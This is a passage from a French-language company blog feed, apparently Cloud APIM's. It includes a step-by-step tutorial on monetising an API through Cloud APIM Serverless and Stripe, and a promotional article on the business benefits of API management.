&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>Authify</category><category>Cloud APIM</category><category>Authentification</category><category>OpenID Connect</category><category>OIDC</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.BTJ6FRtz_1CLJUg.jpg" length="0" type="image/jpeg"/></item><item><title>💸 Générez des revenus : monétisez efficacement vos API avec Cloud APIM Serverless</title><link>https://blog.cloud-apim.com/monetisez-vos-api-avec-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/monetisez-vos-api-avec-cloud-apim-serverless</guid><description>💡 Envie d&apos;augmenter vos revenus en monétisant simplement vos API ? 💸 Avec Cloud APIM Serverless, transformez-les facilement en produits payants.</description><pubDate>Thu, 12 Sep 2024 13:23:35 GMT</pubDate><content:encoded>&lt;p&gt;Les API ne sont pas de simples outils d’intégration : ce sont aussi des produits à part entière, capables de générer des revenus importants.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; vous aide à monétiser vos API, pour que vous puissiez vous concentrer sur l’innovation tout en maximisant votre rentabilité.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous vous guidons pas à pas pour mettre en place une monétisation simple de votre API avec &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-pourquoi-monétiser-votre-api-&quot;&gt;&lt;strong&gt;💡 Pourquoi monétiser votre API ?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Générer des revenus :&lt;/strong&gt; faites de votre API une source de revenus en proposant un accès payant.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Favoriser l’innovation :&lt;/strong&gt; incitez les développeurs à construire sur votre plateforme en leur proposant des fonctionnalités premium de grande qualité.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Maîtriser l’usage :&lt;/strong&gt; mettez en place des paliers d’utilisation et du rate limiting pour garantir une utilisation équitable et optimale des ressources.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-premiers-pas-avec-la-monétisation-dapi&quot;&gt;&lt;strong&gt;🚀 Premiers pas avec la monétisation d’API&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inscrivez-vous sur Cloud APIM Serverless :&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant de mettre en place la monétisation, assurez-vous d’avoir créé un projet sur &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si ce n’est pas encore fait, suivez ces étapes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Connectez-vous à votre &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;tableau de bord Cloud APIM Serverless&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur &lt;em&gt;« New project »&lt;/em&gt; et saisissez le nom de votre projet.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configurez vos plans de facturation :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rendez-vous dans la section &lt;em&gt;Developer portal&lt;/em&gt; des paramètres de votre API.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur &lt;em&gt;Dev portal Plans&lt;/em&gt; et configurez vos plans.&lt;/p&gt;
&lt;p&gt;Pour cet exemple, créons 3 plans :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Formule Silver :&lt;/strong&gt; proposez un accès de base avec un usage limité.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Formule Gold :&lt;/strong&gt; proposez, moyennant paiement, des fonctionnalités supplémentaires et des limites d’utilisation plus élevées.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Formule Diamond :&lt;/strong&gt; toutes les fonctionnalités incluses dans Silver &amp;#x26; Gold, et bien plus encore.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configurez l’intégration Stripe :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Créez un compte sur Stripe (&lt;a href=&quot;https://stripe.com/&quot;&gt;https://stripe.com/&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rendez-vous sur votre Dashboard et créez vos produits (Silver, Gold et Diamond), comme dans notre exemple.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Créez une Pricing table et ajoutez-y vos 3 produits.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 3202px) 3202px, 100vw&quot; width=&quot;3202&quot; height=&quot;1456&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ZpI3eD.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ON6Pk.webp 640w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_Z1nMItR.webp 750w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_2gcaPk.webp 828w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ZbIyRB.webp 1080w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_2eWdb.webp 1280w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_JehJW.webp 1668w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_1g8Qom.webp 2048w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_1kArkd.webp 2560w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ZpI3eD.webp 3202w&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cliquez ensuite sur &lt;em&gt;Continue&lt;/em&gt; et passez à l’étape &lt;em&gt;Payment Page&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pour chaque produit, choisissez &lt;em&gt;&lt;strong&gt;Don’t show Confirmation page&lt;/strong&gt;&lt;/em&gt; et indiquez votre lien, par exemple &lt;a href=&quot;https://my-project-domain.cloud-apim.dev/docs/subloading?session_id=%7BCHECKOUT_SESSION_ID%7D&quot;&gt;https://my-project-domain.cloud-apim.dev/docs/subloading?session_id={CHECKOUT_SESSION_ID}&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remplacez le nom de domaine par celui de votre projet Serverless&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-4c3e73b928be2ad7f005de508d1f45e7.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-4c3e73b928be2ad7f005de508d1f45e7.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-foreach-ccc10e870e0ceea53c6b967c4dd59c81.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-foreach-ccc10e870e0ceea53c6b967c4dd59c81.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Une fois tous vos plans configurés dans votre pricing table, vous pouvez cliquer sur &lt;em&gt;Finish&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-finish-step-ac46e2c8967184448f25540b6469f26d.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-finish-step-ac46e2c8967184448f25540b6469f26d.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Copiez maintenant votre &lt;strong&gt;STRIPE_PRICING_TABLE_ID&lt;/strong&gt; : vous allez l’ajouter à vos variables d’environnement juste après.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-settings-a9157ae16d48d7220a560b3c5114179d.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-settings-a9157ae16d48d7220a560b3c5114179d.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Configurez les webhooks Stripe&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rendez-vous dans la section &lt;a href=&quot;https://dashboard.stripe.com/developers&quot;&gt;Developers de votre Dashboard Stripe&lt;/a&gt; et sélectionnez l’&lt;em&gt;onglet Webhooks&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Cliquez sur &lt;em&gt;+ add endpoint&lt;/em&gt; et remplissez le formulaire comme ci-dessous :&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-1a60ae0ff1fcaa58d1229a121cd2fe9e.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-1a60ae0ff1fcaa58d1229a121cd2fe9e.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Indiquez &lt;a href=&quot;https://hooks.cloud-apim.com/serverless/stripe&quot;&gt;&lt;code&gt;https://hooks.cloud-apim.com/serverless/stripe&lt;/code&gt;&lt;/a&gt; comme URL d’endpoint.&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-select-events-60496453a84d4fefa2bdc7055433e921.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-select-events-60496453a84d4fefa2bdc7055433e921.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;En bas du formulaire, dans la section &lt;code&gt;Select events to listen to&lt;/code&gt;, sélectionnez les événements suivants :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;customer.subscription.deleted&lt;/code&gt;, &lt;code&gt;customer.subscription.updated&lt;/code&gt; et &lt;code&gt;checkout.session.completed&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-completed-f82a72d1cbd1da9071ccdc31b34b932f.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-completed-f82a72d1cbd1da9071ccdc31b34b932f.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Votre projet est maintenant configuré. Cliquez sur &lt;em&gt;Add endpoint&lt;/em&gt; pour enregistrer vos modifications.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gérez vos variables d’environnement&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Retournez dans votre projet Cloud APIM Serverless et configurez les 3 $.env.variables nécessaires à votre projet.&lt;/p&gt;
&lt;p&gt;Vous devez définir 3 variables d’environnement : &lt;code&gt;STRIPE_PRICING_TABLE_ID&lt;/code&gt;, &lt;code&gt;STRIPE_PUB_KEY&lt;/code&gt; et &lt;code&gt;STRIPE_SECRET_KEY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pour cela, suivez les captures d’écran ci-dessous :&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-display-env-var-2a181ba499ee40d1ca0b4b99ca2b9ba9.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-display-env-var-2a181ba499ee40d1ca0b4b99ca2b9ba9.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-env-add-var-c55f7685dd061af5a04f824bff5f08a5.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-env-add-var-c55f7685dd061af5a04f824bff5f08a5.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-8e6060fa0e79d2e32b0a1e6765721b12.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-8e6060fa0e79d2e32b0a1e6765721b12.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Enregistrez ensuite votre nouvelle variable et répétez l’opération pour les autres variables.&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-result-6b87b9b1939eaf8a8fb6abd64ac4406a.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-result-6b87b9b1939eaf8a8fb6abd64ac4406a.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Configurez votre portail développeur&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nous arrivons presque au bout de la configuration !&lt;/p&gt;
&lt;p&gt;Il ne vous reste plus qu’à configurer votre portail en activant la monétisation et en paramétrant vos différents plans.&lt;/p&gt;
&lt;p&gt;Dans l’éditeur du portail développeur, collez simplement le code suivant :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&quot;monetisation&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;provider&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;stripe&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;config&quot;&lt;/span&gt;&lt;span&gt; : {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;pricing_table_id&quot;&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&quot;${environment.STRIPE_PRICING_TABLE_ID}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;pub_key&quot;&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&quot;${environment.STRIPE_PUB_KEY}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;secret_key&quot;&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&quot;${environment.STRIPE_SECRET_KEY}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    } &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Suivez la procédure : &lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf&quot;&gt;https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;-les-avantages-de-la-monétisation-avec-cloud-apim-serverless&quot;&gt;&lt;strong&gt;🌟 Les avantages de la monétisation avec Cloud APIM Serverless&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une mise en place simplifiée :&lt;/strong&gt; configurez facilement vos plans de facturation et l’intégration du paiement, sans écrire beaucoup de code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des solutions évolutives :&lt;/strong&gt; faites évoluer votre stratégie de monétisation au rythme de la croissance de votre base d’utilisateurs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des analyses complètes :&lt;/strong&gt; suivez l’utilisation de votre API et vos revenus grâce à des statistiques et des rapports détaillés.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des transactions sécurisées :&lt;/strong&gt; garantissez un traitement sécurisé des paiements grâce à des passerelles de paiement de confiance.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une meilleure expérience développeur :&lt;/strong&gt; proposez un portail développeur convivial qui simplifie la gestion des abonnements et l’accès aux API.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;documentation&quot;&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Pour aller plus loin, consultez notre documentation sur la monétisation : &lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation&quot;&gt;https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;-conclusion&quot;&gt;&lt;strong&gt;🎉 Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Monétiser votre API avec &lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; est un moyen simple et efficace de créer de nouvelles sources de revenus tout en apportant de la valeur à vos utilisateurs.&lt;/p&gt;
&lt;p&gt;Grâce aux fonctionnalités de monétisation robustes de la plateforme, vous mettez en place vos plans de facturation, gérez les abonnements et traitez les paiements en toute simplicité.&lt;/p&gt;
&lt;p&gt;Commencez dès aujourd’hui à monétiser votre API et transformez votre innovation en revenus avec &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-lancez-vous-dès-maintenant&quot;&gt;&lt;strong&gt;🚀 Lancez-vous dès maintenant&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Prêt à vous lancer avec &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Inscrivez-vous dès maintenant&lt;/strong&gt;&lt;/a&gt; et faites le premier pas vers un &lt;strong&gt;API management&lt;/strong&gt; sécurisé et efficace !&lt;/p&gt;
&lt;h3 id=&quot;-restez-informé&quot;&gt;&lt;strong&gt;📡 Restez informé&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et de l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>API management</category><category>Cloud APIM</category><category>API gateway</category><category>Monétisation</category><category>Otoroshi</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Cb13gkm3_Z1L9xFe.jpg" length="0" type="image/jpeg"/></item><item><title>✨ Pourquoi l&apos;API management est-il essentiel pour votre entreprise ? 📈</title><link>https://blog.cloud-apim.com/pourquoi-l-api-management-est-essentiel-pour-votre-entreprise</link><guid isPermaLink="true">https://blog.cloud-apim.com/pourquoi-l-api-management-est-essentiel-pour-votre-entreprise</guid><description>Les API sont la colonne vertébrale du développement logiciel moderne. Découvrez pourquoi bien les gérer est essentiel pour en exploiter tout le potentiel.</description><pubDate>Tue, 16 Jul 2024 07:23:25 GMT</pubDate><content:encoded>&lt;p&gt;Dans un monde numérique qui évolue à toute vitesse, les &lt;strong&gt;API&lt;/strong&gt; sont la &lt;strong&gt;colonne vertébrale&lt;/strong&gt; du développement logiciel moderne.&lt;/p&gt;
&lt;p&gt;Les &lt;strong&gt;API&lt;/strong&gt; permettent à des systèmes logiciels différents de communiquer entre eux, ce qui favorise l’innovation et fluidifie les processus.&lt;/p&gt;
&lt;p&gt;Pourtant, une gestion efficace de ces API est &lt;strong&gt;essentielle&lt;/strong&gt; pour que les &lt;strong&gt;entreprises&lt;/strong&gt; en exploitent tout le potentiel.&lt;/p&gt;
&lt;p&gt;C’est là qu’intervient l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous verrons pourquoi l’API management est &lt;strong&gt;crucial&lt;/strong&gt; pour votre entreprise et comment il peut contribuer à sa &lt;strong&gt;réussite&lt;/strong&gt;.&lt;/p&gt;
&lt;h1 id=&quot;️-une-sécurité-renforcée&quot;&gt;🛡️ Une sécurité renforcée&lt;/h1&gt;
&lt;h3 id=&quot;protégez-vos-données-et-vos-systèmes&quot;&gt;Protégez vos données et vos systèmes&lt;/h3&gt;
&lt;p&gt;La sécurité est une priorité absolue pour toute entreprise, en particulier lorsque ses API exposent des données et des services critiques.&lt;/p&gt;
&lt;p&gt;L’API management apporte des mesures de sécurité robustes comme l’authentification, l’autorisation, le chiffrement et la détection des menaces.&lt;/p&gt;
&lt;p&gt;En mettant en place ces contrôles, les entreprises protègent leurs données contre les accès non autorisés et les cybermenaces.&lt;/p&gt;
&lt;h3 id=&quot;sécurité---exemple-&quot;&gt;Sécurité - Exemple :&lt;/h3&gt;
&lt;p&gt;OAuth2, par exemple, est un framework d’autorisation couramment utilisé en API management pour garantir que seuls les utilisateurs authentifiés peuvent accéder à certaines ressources.&lt;/p&gt;
&lt;p&gt;Cela empêche les accès non autorisés et protège les informations sensibles.&lt;/p&gt;
&lt;h1 id=&quot;-de-meilleures-performances&quot;&gt;⚡ De meilleures performances&lt;/h1&gt;
&lt;h3 id=&quot;optimisez-et-surveillez-lutilisation-de-vos-api&quot;&gt;Optimisez et surveillez l’utilisation de vos API&lt;/h3&gt;
&lt;p&gt;La performance est la clé de la satisfaction des utilisateurs et de l’efficacité opérationnelle.&lt;/p&gt;
&lt;p&gt;Les outils d’API management proposent des fonctionnalités de monitoring et d’analyse qui aident les entreprises à suivre les performances de leurs API, leurs usages et leurs temps de réponse.&lt;/p&gt;
&lt;p&gt;Ces données sont précieuses pour identifier les goulets d’étranglement, optimiser les endpoints et garantir le bon fonctionnement du système.&lt;/p&gt;
&lt;h3 id=&quot;monitoring---exemple-&quot;&gt;Monitoring - Exemple :&lt;/h3&gt;
&lt;p&gt;Une entreprise peut s’appuyer sur l’API management pour surveiller les appels d’API lors des pics d’activité, et ainsi repérer et corriger les ralentissements de façon proactive pour maintenir un haut niveau de performance et de fiabilité.&lt;/p&gt;
&lt;h1 id=&quot;-scalabilité&quot;&gt;📈 Scalabilité&lt;/h1&gt;
&lt;h3 id=&quot;gérez-et-faites-évoluer-vos-api-sans-effort&quot;&gt;Gérez et faites évoluer vos API sans effort&lt;/h3&gt;
&lt;p&gt;À mesure qu’une entreprise grandit, l’utilisation de ses API augmente généralement.&lt;/p&gt;
&lt;p&gt;Les plateformes d’API management offrent la scalabilité nécessaire pour absorber cette croissance.&lt;/p&gt;
&lt;p&gt;Elles permettent de faire évoluer l’infrastructure d’API en toute fluidité, pour absorber un trafic plus important sans sacrifier les performances.&lt;/p&gt;
&lt;h3 id=&quot;scalabilité---exemple-&quot;&gt;Scalabilité - Exemple :&lt;/h3&gt;
&lt;p&gt;Un distributeur confronté à un pic de trafic pendant les soldes de fin d’année peut compter sur l’API management pour adapter automatiquement ses ressources d’API et offrir une expérience d’achat fluide à ses clients.&lt;/p&gt;
&lt;h1 id=&quot;-une-intégration-fluide&quot;&gt;🔗 Une intégration fluide&lt;/h1&gt;
&lt;h3 id=&quot;connectez-des-systèmes-et-des-plateformes-différents&quot;&gt;Connectez des systèmes et des plateformes différents&lt;/h3&gt;
&lt;p&gt;L’API management facilite l’intégration de systèmes et de plateformes variés, et permet aux entreprises de bâtir un écosystème numérique cohérent.&lt;/p&gt;
&lt;p&gt;Cette intégration fluide simplifie les opérations, améliore l’efficacité et favorise l’innovation.&lt;/p&gt;
&lt;h3 id=&quot;intégration-fluide---exemple-&quot;&gt;Intégration fluide - Exemple :&lt;/h3&gt;
&lt;p&gt;Une plateforme d’e-commerce peut s’intégrer, via des API, à différentes passerelles de paiement, services de livraison et systèmes de gestion des stocks, le tout géré de façon centralisée pour garantir un fonctionnement cohérent et fiable.&lt;/p&gt;
&lt;h1 id=&quot;-indépendance-technologique&quot;&gt;🌐 Indépendance technologique&lt;/h1&gt;
&lt;h3 id=&quot;de-la-flexibilité-quelles-que-soient-les-technologies&quot;&gt;De la flexibilité, quelles que soient les technologies&lt;/h3&gt;
&lt;p&gt;L’un des grands avantages de l’API management moderne est d’être agnostique vis-à-vis des technologies.&lt;/p&gt;
&lt;p&gt;Les entreprises peuvent ainsi intégrer et gérer des API sur des stacks techniques et des plateformes variées, sans dépendre d’un fournisseur ou d’une technologie en particulier.&lt;/p&gt;
&lt;p&gt;Cette flexibilité permet aux organisations d’adopter les outils et services les mieux adaptés à leurs besoins, au profit de l’innovation et de l’agilité.&lt;/p&gt;
&lt;h3 id=&quot;indépendance-technologique---exemple-&quot;&gt;Indépendance technologique - Exemple :&lt;/h3&gt;
&lt;p&gt;Une société de services financiers peut utiliser une plateforme d’API management pour intégrer les API de différents acteurs de la fintech, quelle que soit la technologie utilisée par chacun.&lt;/p&gt;
&lt;p&gt;Elle garantit ainsi un fonctionnement fluide et reste libre de choisir les meilleures solutions, sans se soucier de compatibilité.&lt;/p&gt;
&lt;h1 id=&quot;-une-meilleure-expérience-utilisateur&quot;&gt;🌟 Une meilleure expérience utilisateur&lt;/h1&gt;
&lt;h3 id=&quot;proposez-des-services-cohérents-et-fiables&quot;&gt;Proposez des services cohérents et fiables&lt;/h3&gt;
&lt;p&gt;L’expérience utilisateur est déterminante pour la réussite de toute entreprise.&lt;/p&gt;
&lt;p&gt;L’API management garantit que les API fournissent aux utilisateurs des services cohérents, fiables et de qualité.&lt;/p&gt;
&lt;p&gt;En gérant le versioning des API, en surveillant les performances et en garantissant la disponibilité, les entreprises offrent une expérience utilisateur de premier ordre.&lt;/p&gt;
&lt;h3 id=&quot;ux---exemple-&quot;&gt;UX - Exemple :&lt;/h3&gt;
&lt;p&gt;Une application mobile qui s’appuie sur plusieurs API pour la météo, la géolocalisation ou l’intégration aux réseaux sociaux peut s’assurer que toutes ces API fonctionnent de façon optimale, et offrir ainsi à ses utilisateurs une expérience fluide et agréable.&lt;/p&gt;
&lt;h1 id=&quot;-conclusion&quot;&gt;✨ Conclusion&lt;/h1&gt;
&lt;p&gt;L’&lt;strong&gt;API management&lt;/strong&gt; n’est pas qu’une nécessité technique : c’est un atout stratégique, moteur de croissance et d’innovation.&lt;/p&gt;
&lt;p&gt;En renforçant la sécurité, en améliorant les performances, en assurant la scalabilité, en facilitant l’intégration et en garantissant une meilleure expérience utilisateur, l’API management aide les entreprises à tirer le meilleur parti de leurs API.&lt;/p&gt;
